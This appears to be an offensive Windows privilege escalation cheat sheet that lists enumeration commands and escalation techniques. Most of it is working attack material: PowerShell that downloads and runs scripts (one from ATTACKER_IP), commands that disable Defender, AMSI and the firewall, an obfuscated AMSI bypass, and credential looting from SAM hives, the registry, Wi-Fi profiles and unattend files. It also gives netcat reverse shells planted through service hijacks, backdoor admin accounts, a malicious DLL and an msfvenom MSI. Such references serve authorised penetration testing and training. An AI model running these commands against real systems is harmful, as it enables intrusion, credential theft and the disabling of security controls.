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# Privilege Escalation

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### Tools

* [PowerSploit's PowerUp](https://github.com/PowerShellMafia/PowerSploit)

  ```powershell
  powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
  ```
* [Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock](https://github.com/rasta-mouse/Watson)
* [(Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities](https://github.com/rasta-mouse/Sherlock)

  ```powershell
  powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1
  ```
* [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
* [Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester)

  ```powershell
  ./windows-exploit-suggester.py --update
  ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt 
  ```
* [windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems](https://github.com/pentestmonkey/windows-privesc-check)
* [WindowsExploits - Windows exploits, mostly precompiled. Not being updated.](https://github.com/abatchy17/WindowsExploits)
* [WindowsEnum - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum)
* [Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.](https://github.com/GhostPack/Seatbelt)

  ```powershell
  Seatbelt.exe -group=all -full
  Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"
  Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""
  ```
* [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless)
* [JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS)

  ```powershell
  powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
  ```
* [winPEAS - Windows Privilege Escalation Awesome Script](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)
* [Windows Exploit Suggester - Next Generation (WES-NG)](https://github.com/bitsadmin/wesng)

  ```powershell
  # First obtain systeminfo
  systeminfo
  systeminfo > systeminfo.txt
  # Then feed it to wesng
  python3 wes.py --update-wes
  python3 wes.py --update
  python3 wes.py systeminfo.txt
  ```
* [PrivescCheck - Privilege Escalation Enumeration Script for Windows](https://github.com/itm4n/PrivescCheck)

  ```powershell
  C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
  C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"
  C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML"
  ```

### Windows Version and Configuration

```powershell
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

Extract patchs and updates

```powershell
wmic qfe
```

Architecture

```powershell
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
```

List all env variables

```powershell
set
Get-ChildItem Env: | ft Key,Value
```

List all drives

```powershell
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
```

## Applications Enumeration

```powershell
# list 32-bit apps installed
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

# list 64-bit apps installed
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
```

### User Enumeration

Get current username

```powershell
echo %USERNAME% || whoami
$env:username
```

List user privilege

```powershell
whoami /priv
whoami /groups
```

List all users

```powershell
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
```

List logon requirements; useable for bruteforcing

```
net accounts
```

Get details about a user (i.e. administrator, admin, current user)

```powershell
net user administrator
net user admin
net user %USERNAME%
```

List all local groups

```powershell
net localgroup
Get-LocalGroup | ft Name
```

Get details about a group (i.e. administrators)

```powershell
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
```

Get Domain Controllers

```powershell
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName
```

### Network Enumeration

List all network interfaces, IP, and DNS.

```powershell
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```

List current routing table

```powershell
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
```

List the ARP table

```powershell
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
```

List all current connections

```powershell
netstat -ano
```

List all network shares

```powershell
net share
powershell Find-DomainShare -ComputerDomain domain.local
```

SNMP Configuration

```powershell
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```

### Antivirus & Detections

Enumerate antivirus on a box with

```
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
```

#### Windows Defender

```powershell
# check status of Defender
PS C:\> Get-MpComputerStatus

# disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true

# disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1 

# exclude a folder
PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"

# remove signatures (if Internet connection is present, they will be downloaded again):
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```

#### Firewall

List firewall state and current configuration

```powershell
netsh advfirewall firewall dump
# or 
netsh firewall show state
netsh firewall show config
```

List firewall's blocked ports

```powershell
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules |  where {$_.action -eq "0"} | select name,applicationname,localports
```

Disable firewall

```powershell
# Disable Firewall on Windows 7 via cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server"  /v fDenyTSConnections /t REG_DWORD /d 0 /f

# Disable Firewall on Windows 7 via Powershell
powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'`

# Disable Firewall on any windows via cmd
netsh firewall set opmode disable
netsh Advfirewall set allprofiles state off
```

#### AppLocker Enumeration

* With the GPO
* HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2 (Keys: Appx, Dll, Exe, Msi and Script).
* List AppLocker rules

  ```powershell
  PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
  ```
* Applocker Bypass
  * <https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md>
  * <https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md>
  * <https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md>

#### Powershell

Default powershell locations in a Windows system.

```powershell
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
```

Powershell Constrained Mode

```powershell
# Check if we are in a constrained mode
$ExecutionContext.SessionState.LanguageMode

PS > &{ whoami }
powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')"

# PowerShDLL - Powershell with no Powershell.exe via DLL’s
# https://github.com/p3nt4/PowerShdll
ftp> rundll32.exe C:\temp\PowerShdll.dll,main
```

Example of AMSI Bypass.

```powershell
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
```

#### Default Writeable Folders

```powershell
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public
```

### EoP - Looting for passwords

#### SAM and SYSTEM files

The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.

```powershell
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```

Generate a hash file for John using `pwdump` or `samdump2`.

```powershell
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
```

Either crack it with `john -format=NT /root/sam.txt` or use Pass-The-Hash.

#### HiveNightmare

> CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user

Check for the vulnerability using `icacls`

```powershell
C:\Windows\System32> icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
           NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Users:(I)(RX)    <-- this is wrong - regular users should not have read access!
```

Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.

```powershell
mimikatz> token::whoami /full

# List shadow copies available
mimikatz> misc::shadowcopies

# Extract account from SAM databases
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

# Extract secrets from SECURITY
mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
```

#### Search for file contents

```powershell
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
```

#### Search for a file with a certain filename

```powershell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```

#### Search the registry for key names and passwords

```powershell
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" 
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

#### Read a value of a certain sub key

```powershell
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
```

#### Passwords in unattend.xml

Location of the unattend.xml files.

```powershell
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

Display the content of these files with `dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul`.

Example content

```powershell
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
    <AutoLogon>
     <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
     <Enabled>true</Enabled>
     <Username>Administrateur</Username>
    </AutoLogon>

    <UserAccounts>
     <LocalAccounts>
      <LocalAccount wcm:action="add">
       <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Group>administrators;users</Group>
       <Name>Administrateur</Name>
      </LocalAccount>
     </LocalAccounts>
    </UserAccounts>
```

Unattend credentials are stored in base64 and can be decoded manually with base64.

```powershell
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo="  | base64 -d 
SecretSecurePassword1234*
```

The Metasploit module `post/windows/gather/enum_unattend` looks for these files.

#### IIS Web config

```powershell
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```

```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
```

#### Other files

```
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
```

#### Wifi passwords

Find AP SSID

```
netsh wlan show profile
```

Get Cleartext Pass

```
netsh wlan show profile <SSID> key=clear
```

Oneliner method to extract wifi passwords from all the access point.

```batch
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
```

#### Sticky Notes passwords

The sticky notes app stores it's content in a sqlite db located at `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`

#### Passwords stored in services

Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using [SessionGopher](https://github.com/Arvanaghi/SessionGopher)

```powershell
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```

#### Powershell History

Disable Powershell history: `Set-PSReadlineOption -HistorySaveStyle SaveNothing`.

```powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```

#### Powershell Transcript

```xml
C:\Users\<USERNAME>\Documents\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
C:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
```

#### Password in Alternate Data Stream

```
PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag
```

### EoP - Processes Enumeration and Tasks

* What processes are running?

  ```powershell
  tasklist /v
  net start
  sc query
  Get-Service
  Get-Process
  Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
  ```
* Which processes are running as "system"

  ```powershell
  tasklist /v /fi "username eq system"
  ```
* Do you have powershell magic?

  ```powershell
  REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
  ```
* List installed programs

  ```powershell
  Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
  Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
  ```
* List services

  ```powershell
  net start
  wmic service list brief
  tasklist /SVC
  ```
* Enumerate scheduled tasks

  ```powershell
  schtasks /query /fo LIST 2>nul | findstr TaskName
  schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
  Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
  ```
* Startup tasks

  ```powershell
  wmic startup get caption,command
  reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
  reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
  dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
  ```

### EoP - Incorrect permissions in services

> A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.

Often, services are pointing to writeable locations:

* Orphaned installs, not installed anymore but still exist in startup
* DLL Hijacking

  ```powershell
  # find missing DLL 
  - Find-PathDLLHijack PowerUp.ps1
  - Process Monitor : check for "Name Not Found"

  # compile a malicious dll
  - For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
  - For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"

  # content of windows_dll.c
  #include <windows.h>
  BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
      if (dwReason == DLL_PROCESS_ATTACH) {
          system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
          ExitProcess(0);
      }
      return TRUE;
  }
  ```
* PATH directories with weak permissions

  ```powershell
  $ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
  $ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

  $ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
  FOR /F %i in (Servicenames.txt) DO echo %i
  type Servicenames.txt
  FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
  FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
  ```

Alternatively you can use the Metasploit exploit : `exploit/windows/local/service_permissions`

Note to check file permissions you can use `cacls` and `icacls`

> icacls (Windows Vista +)\
> cacls (Windows XP)

You are looking for `BUILTIN\Users:(F)`(Full access), `BUILTIN\Users:(M)`(Modify access) or `BUILTIN\Users:(W)`(Write-only access) in the output.

#### Example with Windows 10 - CVE-2019-1322 UsoSvc

Prerequisite: Service account

```powershell
PS C:\Windows\system32> sc.exe stop UsoSvc
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: usosvc
        TYPE               : 20  WIN32_SHARE_PROCESS 
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : Update Orchestrator Service
        DEPENDENCIES       : rpcss
        SERVICE_START_NAME : LocalSystem

PS C:\Windows\system32> sc.exe start UsoSvc
```

#### Example with Windows XP SP1 - upnphost

```powershell
# NOTE: spaces are mandatory for this exploit to work !
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost
```

If it fails because of a missing dependency, try the following commands.

```powershell
sc config SSDPSRV start=auto
net start SSDPSRV
net stop upnphost
net start upnphost

sc config upnphost depend=""
```

Using [`accesschk`](https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe) from Sysinternals or [accesschk-XP.exe - github.com/phackt](https://github.com/phackt/pentest/blob/master/privesc/windows/accesschk-XP.exe)

```powershell
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
RW SSDPSRV
        SERVICE_ALL_ACCESS
RW upnphost
        SERVICE_ALL_ACCESS

$ accesschk.exe -ucqv upnphost
upnphost
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS
  RW BUILTIN\Power Users
        SERVICE_ALL_ACCESS

$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"
$ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
$ sc stop <vuln-service>
$ sc start <vuln-service>
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>
```

### EoP - Windows Subsystem for Linux (WSL)

Technique borrowed from [Warlockobama's tweet](https://twitter.com/Warlockobama/status/1067890915753132032)

> With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ .exe --default-user root. Now start your bind shell or reverse.

```powershell
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```

Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`

Alternatively you can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`

### EoP - Unquoted Service Paths

The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.

```powershell
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```

* Metasploit exploit : `exploit/windows/local/trusted_service_path`
* PowerUp exploit

  ```powershell
  # find the vulnerable application
  C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks"

  ...
  [*] Checking for unquoted service paths...
  ServiceName   : BBSvc
  Path          : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
  StartName     : LocalSystem
  AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
  ...

  # automatic exploit
  Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
  ```

#### Example

For `C:\Program Files\something\legit.exe`, Windows will try the following paths first:

* `C:\Program.exe`
* `C:\Program Files.exe`

### EoP - $PATH Interception

Requirements:

* PATH contains a writeable folder with low privileges.
* The writeable folder is *before* the folder that contains the legitimate binary.

EXAMPLE:

```powershell
# List contents of the PATH environment variable
# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path

# See permissions of the target folder
# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"

# Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
```

Because (in this example) "C:\Program Files\nodejs" is *before* "C:\WINDOWS\system32" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.

### EoP - Named Pipes

1. Find named pipes: `[System.IO.Directory]::GetFiles("\\.\pipe\")`
2. Check named pipes DACL: `pipesec.exe <named_pipe>`
3. Reverse engineering software
4. Send data throught the named pipe : `program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe`

### EoP - Kernel Exploitation

List of exploits kernel : <https://github.com/SecWiki/windows-kernel-exploits>

**#Security Bulletin #KB #Description #Operating System**

* [MS17-017](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-017) 　\[KB4013081]　　\[GDI Palette Objects Local Privilege Escalation]　　(windows 7/8)
* [CVE-2017-8464](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-8464) 　\[LNK Remote Code Execution Vulnerability]　　(windows 10/8.1/7/2016/2010/2008)
* [CVE-2017-0213](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-0213) 　\[Windows COM Elevation of Privilege Vulnerability]　　(windows 10/8.1/7/2016/2010/2008)
* [CVE-2018-0833](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-0833) \[SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2)
* [CVE-2018-8120](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-8120) \[Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
* [MS17-010](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-010) 　\[KB4013389]　　\[Windows Kernel Mode Drivers]　　(windows 7/2008/2003/XP)
* [MS16-135](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-135) 　\[KB3199135]　　\[Windows Kernel Mode Drivers]　　(2016)
* [MS16-111](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-111) 　\[KB3186973]　　\[kernel api]　　(Windows 10 10586 (32/64)/8.1)
* [MS16-098](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-098) 　\[KB3178466]　　\[Kernel Driver]　　(Win 8.1)
* [MS16-075](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075) 　\[KB3164038]　　\[Hot Potato]　　(2003/2008/7/8/2012)
* [MS16-034](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034) 　\[KB3143145]　　\[Kernel Driver]　　(2008/7/8/10/2012)
* [MS16-032](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032) 　\[KB3143141]　　\[Secondary Logon Handle]　　(2008/7/8/10/2012)
* [MS16-016](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-016) 　\[KB3136041]　　\[WebDAV]　　(2008/Vista/7)
* [MS16-014](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-014) 　\[K3134228]　　\[remote code execution]　　(2008/Vista/7)\
  ...
* MS03-026 　\[KB823980]　　 \[Buffer Overrun In RPC Interface]　　(/NT/2000/XP/2003)

To cross compile a program from Kali, use the following command.

```powershell
Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c
```

### EoP - AlwaysInstallElevated

Check if these registry values are set to "1".

```powershell
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

$ Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
$ Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
```

Then create an MSI package and install it.

```powershell
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi
$ msiexec /quiet /qn /i C:\evil.msi
```

Technique also available in :

* Metasploit : `exploit/windows/local/always_install_elevated`
* PowerUp.ps1 : `Get-RegistryAlwaysInstallElevated`, `Write-UserAddMSI`

### EoP - Insecure GUI apps

Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.

Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"

### EoP - Evaluating Vulnerable Drivers

Look for vuln drivers loaded, we often don't spend enough time looking at this:

```powershell
# https://github.com/matterpreter/OffensiveCSharp/tree/master/DriverQuery

PS C:\Users\Swissky> driverquery.exe /fo table
Module Name  Display Name           Driver Type   Link Date
============ ====================== ============= ======================
1394ohci     1394 OHCI Compliant Ho Kernel        12/10/2006 4:44:38 PM
